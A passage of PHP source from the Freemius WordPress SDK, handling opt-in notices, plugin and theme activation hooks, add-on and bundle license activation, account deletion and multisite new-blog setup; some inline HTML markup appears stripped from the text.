$this->_parent->is_anonymous() ) ) { // Show notice for new plugin installations. $this->_admin_notices->add( sprintf( $this->get_text_inline( 'You are just one step away - %s', 'you-are-step-away' ), sprintf( '%s', $this->get_activation_url( array(), ! $this->is_delegated_connection() ), sprintf( $this->get_text_x_inline( 'Complete "%s" Activation Now', '%s - plugin name. As complete "PluginX" activation now', 'activate-x-now' ), $this->get_plugin_name() ) ) ), '', 'update-nag' ); } } else { if ( $this->should_add_sticky_optin_notice() ) { $this->add_sticky_optin_admin_notice(); } if ( $this->has_filter( 'optin_pointer_element' ) ) { // Don't show admin nag if plugin update. wp_enqueue_script( 'wp-pointer' ); wp_enqueue_style( 'wp-pointer' ); $this->_enqueue_connect_essentials(); add_action( 'admin_print_footer_scripts', array( $this, '_add_connect_pointer_script' ) ); } } } } if ( $this->show_opt_in_on_themes_page() && $this->is_activation_page() ) { $this->_show_theme_activation_optin_dialog(); } } } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ private function should_add_sticky_optin_notice() { if ( $this->is_addon() && $this->_parent->is_anonymous() ) { return false; } if ( fs_is_network_admin() ) { if ( ! $this->_is_network_active ) { return false; } if ( ! $this->is_network_activation_mode() ) { return false; } return ! isset( $this->_storage->sticky_optin_added_ms ); } if ( ! $this->is_activation_mode() ) { return false; } // If running from a blog admin and delegated the connection. return ! isset( $this->_storage->sticky_optin_added ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 */ private function add_sticky_optin_admin_notice() { if ( ! $this->_is_network_active || ! fs_is_network_admin() ) { $this->_storage->sticky_optin_added = true; } else { $this->_storage->sticky_optin_added_ms = true; } // Show notice for new plugin installations. $this->_admin_notices->add_sticky( sprintf( $this->get_text_inline( 'We made a few tweaks to the %s, %s', 'few-plugin-tweaks' ), $this->_module_type, sprintf( '%s', $this->get_activation_url(), sprintf( $this->get_text_inline( 'Opt in to make "%s" better!', 'optin-x-now' ), $this->get_plugin_name() ) ) ), 'connect_account', '', 'update-nag' ); } /** * Enqueue connect requires scripts and styles. * * @author Vova Feldman (@svovaf) * @since 1.1.4 */ function _enqueue_connect_essentials() { wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'json2' ); fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.min.js' ); fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' ); } /** * Add connect / opt-in pointer. * * @author Vova Feldman (@svovaf) * @since 1.1.4 */ function _add_connect_pointer_script() { $vars = array( 'id' => $this->_module_id ); $pointer_content = fs_get_template( 'connect.php', $vars ); ?> _menu->get_raw_slug() ) || fs_is_plugin_page( $this->_slug ); } /* Events ------------------------------------------------------------------------------------------------------------------*/ /** * Delete site install from Database. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param bool $store * @param int|null $blog_id Since 2.0.0 * * @return false|int The install ID if deleted. Otherwise, FALSE (when install not exist). */ function _delete_site( $store = true, $blog_id = null ) { return self::_delete_site_by_slug( $this->_slug, $this->_module_type, $store, $blog_id ); } /** * Delete site install from Database. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param string $slug * @param string $module_type * @param bool $store * @param int|null $blog_id Since 2.0.0 * * @return false|int The install ID if deleted. Otherwise, FALSE (when install not exist). */ static function _delete_site_by_slug( $slug, $module_type, $store = true, $blog_id = null ) { $sites = self::get_all_sites( $module_type, $blog_id ); $install_id = false; if ( isset( $sites[ $slug ] ) ) { if ( is_object( $sites[ $slug ] ) ) { $install_id = $sites[ $slug ]->id; } unset( $sites[ $slug ] ); self::set_account_option_by_module( $module_type, 'sites', $sites, $store, $blog_id ); } return $install_id; } /** * Delete user. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * @param bool $store * * @return false|int The user ID if deleted. Otherwise, FALSE (when install not exist). */ private static function delete_user( $user_id, $store = true ) { $users = self::get_all_users(); if ( ! is_array( $users ) || ! isset( $users[ $user_id ] ) ) { return false; } unset( $users[ $user_id ] ); self::$_accounts->set_option( 'users', $users, $store ); return $user_id; } /** * Delete plugin's plans information. * * @param bool $store Flush to Database if true. * @param bool $keep_associated_plans If set to false, delete all plans, even if a plan is associated with an install. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ private function _delete_plans( $store = true, $keep_associated_plans = true ) { $this->_logger->entrance(); $plans = self::get_all_plans( $this->_module_type ); $plans_to_keep = array(); if ( $keep_associated_plans ) { $plans_ids_to_keep = $this->get_plans_ids_associated_with_installs(); foreach ( $plans_ids_to_keep as $plan_id ) { $plan = self::_get_plan_by_id( $plan_id ); if ( is_object( $plan ) ) { $plans_to_keep[] = self::_encrypt_entity( $plan ); } } } if ( ! empty( $plans_to_keep ) ) { $plans[ $this->_slug ] = $plans_to_keep; } else { unset( $plans[ $this->_slug ] ); } $this->set_account_option( 'plans', $plans, $store ); } /** * Delete all plugin licenses. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param bool $store */ private function _delete_licenses( $store = true ) { $this->_logger->entrance(); $all_licenses = self::get_all_licenses(); unset( $all_licenses[ $this->_module_id ] ); self::$_accounts->set_option( 'all_licenses', $all_licenses, $store ); } /** * Check if Freemius was added on new plugin installation. * * @author Vova Feldman (@svovaf) * @since 1.1.5 * * @return bool */ function is_plugin_new_install() { return isset( $this->_storage->is_plugin_new_install ) && $this->_storage->is_plugin_new_install; } /** * Check if it's the first plugin release that is running Freemius. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @return bool */ function is_first_freemius_powered_version() { return empty( $this->_storage->plugin_last_version ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool|string */ private function get_previous_theme_slug() { return isset( $this->_storage->previous_theme ) ? $this->_storage->previous_theme : false; } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ private function can_activate_previous_theme() { return $this->can_activate_theme( $this->get_previous_theme_slug() ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return bool */ private function can_activate_theme( $slug ) { if ( false !== $slug && current_user_can( 'switch_themes' ) ) { $theme_instance = wp_get_theme( $slug ); return $theme_instance->exists(); } return false; } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 */ private function activate_previous_theme() { switch_theme( $this->get_previous_theme_slug() ); unset( $this->_storage->previous_theme ); global $pagenow; if ( 'themes.php' === $pagenow ) { /** * Refresh the active theme information. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ fs_redirect( $this->admin_url( $pagenow ) ); } } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return string */ function get_previous_theme_activation_url() { if ( ! $this->can_activate_previous_theme() ) { return ''; } /** * Activation URL * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ return wp_nonce_url( $this->admin_url( 'themes.php?action=activate&stylesheet=' . urlencode( $this->get_previous_theme_slug() ) ), 'switch-theme_' . $this->get_previous_theme_slug() ); } /** * Saves the slug of the previous theme if it still exists so that it can be used by the logic in the opt-in * form that decides whether to add a close button to the opt-in dialog or not. So after a premium-only theme is * activated, the close button will appear and will reactivate the previous theme if clicked. If the previous * theme doesn't exist, then there will be no close button. * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @param string $slug_or_name Old theme's slug or name. * @param bool|WP_Theme $old_theme WP_Theme instance of the old theme if it still exists. */ function _activate_theme_event_hook( $slug_or_name, $old_theme = false ) { $this->_storage->previous_theme = ( false !== $old_theme ) ? $old_theme->get_stylesheet() : $slug_or_name; $this->_activate_plugin_event_hook(); } /** * Plugin activated hook. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @uses FS_Api */ function _activate_plugin_event_hook() { $this->_logger->entrance( 'slug = ' . $this->_slug ); if ( ! $this->is_user_admin() ) { return; } $this->unregister_uninstall_hook(); // Clear API cache on activation. FS_Api::clear_cache(); $is_premium_version_activation = $this->is_plugin() ? ( current_filter() !== ( 'activate_' . $this->_free_plugin_basename ) ) : $this->is_premium(); if ( $is_premium_version_activation && $this->is_pending_activation() ) { $this->clear_pending_activation_mode(); } $this->_logger->info( 'Activating ' . ( $is_premium_version_activation ? 'premium' : 'free' ) . ' plugin version.' ); if ( $this->is_plugin() ) { // This logic is relevant only to plugins since both the free and premium versions of a plugin can be active at the same time. // 1. If running in the activation of the FREE module, get the basename of the PREMIUM. // 2. If running in the activation of the PREMIUM module, get the basename of the FREE. $other_version_basename = $is_premium_version_activation ? $this->_free_plugin_basename : $this->premium_plugin_basename(); if ( ! $this->_is_network_active ) { /** * Themes are always network activated, but the ACTUAL activation is per site. * * During the activation, the plugin isn't yet active, therefore, * _is_network_active will be set to false even if it's a network level * activation. So we need to fix that by looking at the is_network_admin() value. * * @author Vova Feldman */ $this->_is_network_active = ( $this->_is_multisite_integrated && fs_is_network_admin() ); } /** * If the other module version is active, deactivate it. * * is_plugin_active() checks if the plugin is active on the site or the network level and * deactivate_plugins() deactivates the plugin whether it's activated on the site or network level. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ if ( is_plugin_active( $other_version_basename ) && $this->apply_filters( 'deactivate_on_activation', true ) ) { deactivate_plugins( $other_version_basename ); } } if ( $this->is_registered() ) { if ( $is_premium_version_activation ) { $this->reconnect_locally(); } // Schedule re-activation event and sync. // $this->sync_install( array(), true ); $this->schedule_install_sync(); // If activating the premium module version, add an admin notice to congratulate for an upgrade completion. if ( $is_premium_version_activation ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'The upgrade of %s was successfully completed.', 'successful-version-upgrade-message' ), sprintf( '%s', $this->_plugin->title ) ), $this->get_text_x_inline( 'W00t', 'Used to express elation, enthusiasm, or triumph (especially in electronic communication).', 'woot' ) . '!' ); } } else if ( $this->is_anonymous() ) { if ( isset( $this->_storage->is_anonymous_ms ) && $this->_storage->is_anonymous_ms['is'] ) { $plugin_version = $this->_storage->is_anonymous_ms['version']; $network = true; } else { $plugin_version = isset( $this->_storage->is_anonymous ) ? $this->_storage->is_anonymous['version'] : null; $network = false; } /** * Reset "skipped" click cache on the following: * 1. Freemius DEV mode. * 2. WordPress DEBUG mode. * 3. If a plugin and the user skipped the exact same version before. * * @since 1.2.2.7 Ulrich Pogson (@grapplerulrich) asked to not reset the SKIPPED flag if the exact same THEME version was activated before unless the developer is running with WP_DEBUG on, or Freemius debug mode on (WP_FS__DEV_MODE). * * @todo 4. If explicitly asked to retry after every activation. */ if ( WP_FS__DEV_MODE || ( ( $this->is_plugin() || ( defined( 'WP_DEBUG' ) && WP_DEBUG ) ) && $this->get_plugin_version() == $plugin_version ) ) { $this->reset_anonymous_mode( $network ); } } $is_trial_or_has_features_enabled_license = ( $this->is_trial() || $this->has_features_enabled_license() ); if ( $this->is_addon() && ! $is_trial_or_has_features_enabled_license ) { /** * When activating an add-on, try to also activate a license. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ if ( ! $this->_is_network_active ) { $this->maybe_activate_addon_license(); } else { $this->maybe_network_activate_addon_license(); } /** * Avoid redirecting to the license activation screen after automatically activating an add-on license. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $is_trial_or_has_features_enabled_license = ( $this->is_trial() || $this->has_features_enabled_license() ); if ( $is_trial_or_has_features_enabled_license && true === $this->_storage->require_license_activation ) { $this->_storage->require_license_activation = false; } } if ( $is_premium_version_activation && ( ( ! $this->is_registered() && $this->is_anonymous() ) || ( $this->is_registered() && ! $is_trial_or_has_features_enabled_license ) ) ) { $this->_storage->require_license_activation = true; } if ( ! isset( $this->_storage->is_plugin_new_install ) ) { /** * If no previous version of plugin's version exist, it means that it's either * the first time that the plugin installed on the site, or the plugin was installed * before but didn't have Freemius integrated. * * Since register_activation_hook() do NOT fires on updates since 3.1, and only fires * on manual activation via the dashboard, is_plugin_activation() is TRUE * only after immediate activation. * * @since 1.1.4 * @link https://make.wordpress.org/core/2010/10/27/plugin-activation-hooks-no-longer-fire-for-updates/ */ $this->_storage->is_plugin_new_install = empty( $this->_storage->plugin_last_version ); } /** * Also flush when activating the premium version so that even if Freemius was off before, the API * connectivity test can be run again. * * @author Leo Fajardo (@leorw) * @since 2.2.3.1 */ $has_api_connectivity = $this->has_api_connectivity( WP_FS__DEV_MODE || $is_premium_version_activation ); if ( ! $this->_anonymous_mode && ( false !== $has_api_connectivity ) && ! $this->_isAutoInstall ) { // Store hint that the plugin was just activated to enable auto-redirection to settings. set_transient( "fs_{$this->_module_type}_{$this->_slug}_activated", true, 60 ); } /** * Activation hook is executed after the plugin's main file is loaded, therefore, * after the plugin was loaded. The logic is located at activate_plugin() * ./wp-admin/includes/plugin.php. * * @author Vova Feldman (@svovaf) * @since 1.1.9 */ $this->_storage->was_plugin_loaded = true; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 */ private function maybe_activate_addon_license() { $parent_fs = $this->get_parent_instance(); if ( ! is_object( $parent_fs ) || ( ! $parent_fs->is_registered() && ! $parent_fs->is_network_registered() ) ) { // Try to activate a license only if the parent plugin is active and has a valid `install`. return; } $license = $this->get_active_parent_license(); if ( ! is_object( $license ) ) { return; } if ( $this->is_bundle_license_auto_activation_enabled() && ! empty( $license->products ) ) { $this->activate_bundle_license( $license ); return; } if ( ! $this->is_registered() ) { // Opt in with a license key. $this->opt_in( $parent_fs->get_current_or_network_user()->email, false, false, $license->secret_key ); } else { // Activate the license. $install = $this->api_site_call( '/', 'put', array( 'license_key' => $this->apply_filters( 'license_key', $license->secret_key ) ) ); if ( ! FS_Api::is_api_error( $install ) ) { $this->_sync_addon_license( $this->get_id(), true ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param FS_Plugin_License $license */ private function maybe_network_activate_addon_license( $license = null ) { $parent_fs = $this->get_parent_instance(); if ( ! is_object( $parent_fs ) || ( ! $parent_fs->is_registered() && ! $parent_fs->is_network_registered() ) ) { // Try to activate a license only if the parent plugin is active and has a valid `install`. return; } $license = ( ! is_null( $license ) ) ? $license : $this->get_active_parent_license(); if ( ! is_object( $license ) ) { return; } if ( $this->is_bundle_license_auto_activation_enabled() && ! empty( $license->products ) ) { $this->activate_bundle_license( $license ); return; } if ( ! $this->is_network_registered() ) { $sites = $this->get_sites_for_network_level_optin(); if ( count( $sites ) > $license->left() ) { // If the add-on is network active, try to activate the license only if it can be activated on all sites. return; } // Opt in with a license key. $this->opt_in( $parent_fs->get_user()->email, false, false, $license->secret_key, false, false, false, null, $sites ); } else { $blog_2_install_map = array(); $site_ids = array(); $all_sites = Freemius::get_sites(); foreach ( $all_sites as $site ) { $blog_id = Freemius::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( is_object( $install ) && FS_Plugin_License::is_valid_id( $install->license_id ) ) { // Skip license activation for installs that are already associated with a license. continue; } if ( is_object( $install ) ) { $blog_2_install_map[ $blog_id ] = $install; } else { $site_ids[] = $blog_id; } } if ( ( count( $blog_2_install_map ) + count( $site_ids ) ) > $license->left() ) { return; } $user = $this->get_current_or_network_user(); if ( ! empty( $blog_2_install_map ) ) { $result = $this->activate_license_on_many_installs( $user, $license->secret_key, $blog_2_install_map ); if ( true !== $result ) { return; } } if ( ! empty( $site_ids ) ) { $this->activate_license_on_many_sites( $user, $license->secret_key, $site_ids ); } } } /** * Tries to activate a bundle license for all supported products if the current product is activated with a bundle license. This is called after activating an available license (not via the license activation dialog but by clicking on a license activation button) for a product via its "Account" page. * * @author Leo Fajardo (@leorw) * @since 2.4.0 * * @param FS_Plugin_License $license * @param array $sites * @param int $blog_id */ private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) { if ( ! is_object( $license ) && $this->has_active_valid_license() ) { $license = $this->_license; } if ( ! is_object( $license ) ) { return; } $parent_license = ( ! empty( $license->products ) ) ? $license : $this->get_active_parent_license( $license->secret_key ); if ( is_object( $parent_license ) ) { $this->activate_bundle_license( $parent_license, $sites, $blog_id ); } } /** * Try to activate a bundle license for all the bundle products installed on the site. * (1) If a child product install already has a license, the bundle license won't be activated. * (2) On multi-site networks, if the attempt to activate the bundle license is triggered from the network admin, the bundle license activation will only work for non-delegated sites and only if none of them is associated with a license. Even if one of the sites has the product installed with a license key, skip the bundle license activation for the product. * (3) On multi-site networks, if the attempt to activate the bundle license is triggered from a site-level admin, only activate the license if the product is site-level activated or delegated, and the product installation is not yet associated with a license. * * @author Leo Fajardo (@leorw) * @since 2.4.0 * * @param FS_Plugin_License $license * @param array $sites * @param int $current_blog_id */ private function activate_bundle_license( $license, $sites = array(), $current_blog_id = 0 ) { $is_network_admin = fs_is_network_admin(); $installs_by_blog_map = array(); $site_info_by_blog_map = array(); /** * Try to activate the license for all supported products. * * @author Leo Fajardo */ foreach ( $license->products as $product_id ) { $fs = self::get_instance_by_id( $product_id ); if ( ! is_object( $fs ) ) { continue; } if ( ! $fs->has_paid_plan() ) { continue; } if ( ! $fs->is_addon() && ! FS_Plan_Manager::instance()->has_paid_plan( $fs->_plans ) ) { /** * The parent product can be free-only but can have its `has_paid_plan` flag set to `true` when * there is a context bundle. */ continue; } if ( $current_blog_id > 0 ) { $fs->switch_to_blog( $current_blog_id ); } if ( $fs->has_active_valid_license() ) { continue; } if ( ! $is_network_admin || $current_blog_id > 0 ) { if ( $fs->is_network_active() && ! $fs->is_delegated_connection( $current_blog_id ) ) { // Do not try to activate the license in the site level if the product is network active and the connection was not delegated. continue; } } else { if ( ! $fs->is_network_active() ) { // Do not try to activate the license in the network level if the product is not network active. continue; } if ( $fs->is_network_delegated_connection() ) { // Do not try to activate the license in the network level if the activation has been delegated to site admins. continue; } $has_install_with_license = false; // Collection of sites that have an install entity that is not activated with a license or non-delegated sites that have no install entity, or both types of site. $filtered_sites = array(); if ( empty( $sites ) ) { $all_sites = self::get_sites(); foreach ( $all_sites as $site ) { $sites[] = array( 'blog_id' => self::get_site_blog_id( $site ) ); } } else { // Populate the map here to avoid calling `$fs->get_site_info( $site );` in the other `for` loop below. foreach ( $sites as $site ) { if ( ! isset( $site['blog_id'] ) || ! is_numeric( $site['blog_id'] ) ) { continue; } $site_info_by_blog_map[ $site['blog_id'] ] = $site; } } foreach ( $sites as $site ) { if ( ! isset( $site['blog_id'] ) || ! is_numeric( $site['blog_id'] ) ) { continue; } $blog_id = $site['blog_id']; if ( ! isset( $installs_by_blog_map[ $blog_id ] ) ) { $installs_by_blog_map[ $blog_id ] = self::get_all_sites( $fs->get_module_type(), $blog_id ); } $installs = $installs_by_blog_map[ $blog_id ]; $install = null; if ( isset( $installs[ $fs->get_slug() ] ) ) { $install = $installs[ $fs->get_slug() ]; if ( is_object( $install ) && ( ! FS_Site::is_valid_id( $install->id ) || ! FS_User::is_valid_id( $install->user_id ) || ! FS_Plugin_Plan::is_valid_id( $install->plan_id ) ) ) { $install = null; } } if ( is_object( $install ) && FS_Plugin_License::is_valid_id( $install->license_id ) ) { $has_install_with_license = true; break; } if ( $fs->is_site_delegated_connection( $blog_id ) ) { // Site activation delegated, don't activate bundle license on the site in the network admin. continue; } if ( ! isset( $site_info_by_blog_map[ $blog_id ] ) ) { $site_info_by_blog_map[ $blog_id ] = $fs->get_site_info( $site ); } $filtered_sites[] = $site_info_by_blog_map[ $blog_id ]; } if ( $has_install_with_license || empty( $filtered_sites ) ) { // Do not try to activate the license at the network level if there's any install with a license or there's no site to activate the license on. continue; } $sites = $filtered_sites; } $fs->activate_migrated_license( $license->secret_key, null, null, $sites, ( $current_blog_id > 0 ? $current_blog_id : null ) ); } } /** * Returns a parent license that can be activated for the context product. * * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param string|null $license_key * @param bool $flush * * @return FS_Plugin_License */ function get_active_parent_license( $license_key = null, $flush = true ) { $parent_licenses_endpoint = "/plugins/{$this->get_id()}/parent_licenses.json?filter=activatable"; $fs = $this; if ( $this->is_addon() ) { $parent_instance = $this->get_parent_instance(); if ( is_object( $parent_instance ) && $parent_instance->is_registered() ) { $fs = $parent_instance; } } $foreign_licenses = $fs->get_foreign_licenses_info( self::get_all_licenses( $this->get_parent_id() ) ); if ( ! empty ( $foreign_licenses ) ) { $foreign_licenses = array( // Prefix with `+` to tell the server to include foreign licenses in the licenses collection. 'ids' => ( urlencode( '+' ) . implode( ',', $foreign_licenses['ids'] ) ), 'license_keys' => implode( ',', array_map( 'urlencode', $foreign_licenses['license_keys'] ) ) ); $parent_licenses_endpoint = add_query_arg( $foreign_licenses, $parent_licenses_endpoint ); } $result = $fs->get_current_or_network_user_api_scope()->get( $parent_licenses_endpoint, $flush ); if ( ! $this->is_api_result_object( $result, 'licenses' ) || ! is_array( $result->licenses ) || empty( $result->licenses ) ) { return null; } $parent_license = null; if ( empty( $license_key ) ) { $parent_license = $result->licenses[0]; } else { foreach ( $result->licenses as $license ) { if ( $license_key === $license->secret_key ) { $parent_license = $license; break; } } } if ( ! is_null( $parent_license ) ) { $parent_license = new FS_Plugin_License( $parent_license ); } return $parent_license; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return array */ function get_sites_for_network_level_optin() { $sites = array(); $all_sites = self::get_sites(); foreach ( $all_sites as $site ) { $blog_id = self::get_site_blog_id( $site ); if ( ! $this->is_site_delegated_connection( $blog_id ) && ! $this->is_installed_on_site( $blog_id ) ) { $sites[] = $this->get_site_info( $site ); } } return $sites; } /** * Delete account. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @param bool $check_user Enforce checking if user have plugins activation privileges. */ function delete_account_event( $check_user = true ) { $this->_logger->entrance( 'slug = ' . $this->_slug ); if ( $check_user && ! $this->is_user_admin() ) { return; } $this->do_action( 'before_account_delete' ); // Clear all admin notices. $this->_admin_notices->clear_all_sticky( false ); $this->_delete_site( false ); $delete_network_common_data = true; if ( $this->_is_network_active ) { $installs = $this->get_blog_install_map(); // Don't delete common network data unless no other installs left. $delete_network_common_data = empty( $installs ); } if ( $delete_network_common_data ) { $this->_delete_plans( false ); $this->_delete_licenses( false ); // Delete add-ons related to plugin's account. $this->_delete_account_addons( false ); } // @todo Delete plans and licenses of add-ons. self::$_accounts->store(); /** * IMPORTANT: * Clear crons must be executed before clearing all storage. * Otherwise, the cron will not be cleared. */ if ( $delete_network_common_data ) { $this->clear_sync_cron(); } $this->clear_install_sync_cron(); // Clear all storage data. $this->_storage->clear_all( true, array( 'is_delegated_connection', 'connectivity_test', 'is_on', ), false ); // Send delete event. $this->get_api_site_scope()->call( '/', 'delete' ); $this->do_action( 'after_account_delete' ); } /** * Delete network level account. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param bool $check_user Enforce checking if user have plugins activation privileges. */ function delete_network_account_event( $check_user = true ) { $this->_logger->entrance( 'slug = ' . $this->_slug ); if ( $check_user && ! $this->is_user_admin() ) { return; } $this->do_action( 'before_network_account_delete' ); // Clear all admin notices. $this->_admin_notices->clear_all_sticky(); $this->_delete_plans( false, false ); $this->_delete_licenses( false ); // Delete add-ons related to plugin's account. $this->_delete_account_addons( false ); // @todo Delete plans and licenses of add-ons. self::$_accounts->store( true ); /** * IMPORTANT: * Clear crons must be executed before clearing all storage. * Otherwise, the cron will not be cleared. */ $this->clear_sync_cron( true ); $this->clear_install_sync_cron( true ); $sites = self::get_sites(); $install_ids = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); if ( $this->is_site_delegated_connection( $blog_id ) ) { continue; } $install_id = $this->_delete_site( true, $blog_id ); // Clear all storage data. $this->_storage->clear_all( true, array( 'connectivity_test' ), $blog_id ); if ( FS_Site::is_valid_id( $install_id ) ) { $install_ids[] = $install_id; } switch_to_blog( $blog_id ); $this->do_action( 'after_account_delete' ); restore_current_blog(); } $this->_storage->clear_all( true, array( 'connectivity_test', 'is_on', ), true ); // Send delete event. if ( ! empty( $install_ids ) ) { $result = $this->get_current_or_network_user_api_scope()->call( "/plugins/{$this->_module_id}/installs.json?ids=" . implode( ',', $install_ids ), 'delete' ); } $this->do_action( 'after_network_account_delete' ); } /** * Plugin deactivation hook. * * @author Vova Feldman (@svovaf) * @since 1.0.1 */ function _deactivate_plugin_hook() { $this->_logger->entrance( 'slug = ' . $this->_slug ); if ( ! $this->is_user_admin() ) { return; } $is_network_deactivation = fs_is_network_admin(); $storage_keys_for_removal = array(); $this->_admin_notices->clear_all_sticky(); $storage_keys_for_removal[] = 'sticky_optin_added'; if ( isset( $this->_storage->sticky_optin_added ) ) { unset( $this->_storage->sticky_optin_added ); } if ( ! isset( $this->_storage->is_plugin_new_install ) ) { // Remember that plugin was already installed. $this->_storage->is_plugin_new_install = false; } // Hook to plugin uninstall. register_uninstall_hook( $this->_plugin_main_file_path, array( 'Freemius', '_uninstall_plugin_hook' ) ); $this->clear_module_main_file_cache(); $this->clear_sync_cron( $this->_is_network_active ); $this->clear_install_sync_cron(); if ( $this->is_registered() ) { if ( $this->is_premium() && ! $this->has_active_valid_license() ) { FS_Plugin_Updater::instance( $this )->delete_update_data(); } if ( $is_network_deactivation ) { // Send deactivation event. $this->sync_installs( array( 'is_active' => false, ) ); } else { // Send deactivation event. $this->sync_install( array( 'is_active' => false, ) ); } } else { if ( false === $this->has_api_connectivity() && ! $this->is_premium() ) { // Reset connectivity test cache. $this->clear_connectivity_info(); $storage_keys_for_removal[] = 'connectivity_test'; } } if ( $is_network_deactivation ) { if ( isset( $this->_storage->sticky_optin_added_ms ) ) { unset( $this->_storage->sticky_optin_added_ms ); } if ( ! empty( $storage_keys_for_removal ) ) { $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); foreach ( $storage_keys_for_removal as $key ) { $this->_storage->remove( $key, false, $blog_id ); } $this->_storage->save( $blog_id ); } } } // Clear API cache on deactivation. FS_Api::clear_cache(); $this->remove_sdk_reference(); } /** * @author Vova Feldman (@svovaf) * @since 1.1.6 */ private function remove_sdk_reference() { global $fs_active_plugins; foreach ( $fs_active_plugins->plugins as $sdk_path => $data ) { if ( $this->_plugin_basename == $data->plugin_path ) { unset( $fs_active_plugins->plugins[ $sdk_path ] ); break; } } fs_fallback_to_newest_active_sdk(); } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param bool $is_anonymous * @param bool|int $network_or_blog_id Since 2.0.0 */ private function set_anonymous_mode( $is_anonymous = true, $network_or_blog_id = 0 ) { // Store information regarding skip to try and opt-in the user // again in the future. $skip_info = array( 'is' => $is_anonymous, 'timestamp' => WP_FS__SCRIPT_START_TIME, 'version' => $this->get_plugin_version(), ); if ( true === $network_or_blog_id ) { $this->_storage->is_anonymous_ms = $skip_info; } else { $this->_storage->store( 'is_anonymous', $skip_info, $network_or_blog_id ); } $this->network_upgrade_mode_completed(); // Update anonymous mode cache. $this->_is_anonymous = $is_anonymous; } /** * @author Vova Feldman (@svovaf) * @since 2.5.1 * * @param bool|int $network_or_blog_id */ private function unset_anonymous_mode( $network_or_blog_id = 0 ) { if ( true === $network_or_blog_id ) { unset( $this->_storage->is_anonymous_ms ); } else { $this->_storage->remove( 'is_anonymous', true, $network_or_blog_id ); } } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id Site ID. * @param int $user_id User ID. * @param string $domain Site domain. * @param string $path Site path. * @param int $network_id Network ID. Only relevant on multi-network installations. * @param array $meta Metadata. Used to set initial site options. * * @uses Freemius::is_license_network_active() to check if the context license was network activated by the super-admin. * @uses Freemius::is_network_connected() to check if the super-admin network opted-in. * @uses Freemius::is_network_anonymous() to check if the super-admin network skipped. * @uses Freemius::is_network_delegated_connection() to check if the super-admin network delegated the connection to the site admins. */ public function _after_new_blog_callback( $blog_id, $user_id, $domain, $path, $network_id, $meta ) { $this->_logger->entrance(); if ( ! $this->_is_network_active ) { FS_Clone_Manager::instance()->store_blog_install_info( $blog_id ); return; } $site = null; $new_blog_id = $blog_id; if ( $this->is_premium() && $this->is_network_connected() && is_object( $this->_license ) && $this->_license->can_activate( FS_Site::is_localhost_by_address( $domain ) ) && $this->is_license_network_active( $blog_id ) ) { /** * Running the premium version, the license was network activated, and the license can also be activated on the current site -> so try to opt-in with the license key. */ $current_blog_id = get_current_blog_id(); $license = clone $this->_license; $this->switch_to_blog( $blog_id ); // Opt-in with network user. $this->install_with_user( $this->get_network_user(), $license->secret_key, false, false, false ); if ( is_object( $this->_site ) ) { if ( $this->_site->license_id == $license->id ) { /** * If the license was activated successfully, sync the license data from the remote server. */ $this->_license = $license; $this->sync_site_license(); } } $site = $this->_site; $this->switch_to_blog( $current_blog_id ); if ( is_object( $site ) ) { FS_Clone_Manager::instance()->store_blog_install_info( $blog_id, $site ); // Already connected (with or without a license), so no need to continue. return; } } if ( $this->is_network_anonymous() ) { /** * Opt-in was network skipped so automatically skip the opt-in for the new site. */ $this->skip_site_connection( $blog_id ); } else if ( $this->is_network_delegated_connection() ) { /** * Opt-in was network delegated so automatically delegate the opt-in for the new site's admin. */ $this->delegate_site_connection( $blog_id ); } else if ( $this->is_network_connected() ) { /** * Opt-in was network activated so automatically opt-in with the network user and new site admin. */ $current_blog_id = get_current_blog_id(); $this->switch_to_blog( $blog_id ); // Opt-in with network user. $this->install_with_user( $this->get_network_user(), false, false, false, false ); $site = $this->_site; $this->switch_to_blog( $current_blog_id ); } else { /** * If the super-admin mixed different options (connect, skip, delegated): * a) If at least one site connection was delegated, then automatically delegate connection. * b) Otherwise, it means that at least one site was skipped and at least one site was connected. For a simplified UX in the initial release of the multisite network integration, skip the connection for the newly created site. If the super-admin will want to opt-in they can still do that from the network level Account page. */ $has_delegated_site = false; $sites = self::get_sites(); foreach ( $sites as $wp_site ) { $blog_id = self::get_site_blog_id( $wp_site ); if ( $this->is_site_delegated_connection( $blog_id ) ) { $has_delegated_site = true; break; } } if ( $has_delegated_site ) { $this->delegate_site_connection( $blog_id ); } else { $this->skip_site_connection( $blog_id ); } } /** * Store the new blog's information even if there's no install so that when a clone install is stored in the new blog's storage, we can try to resolve it 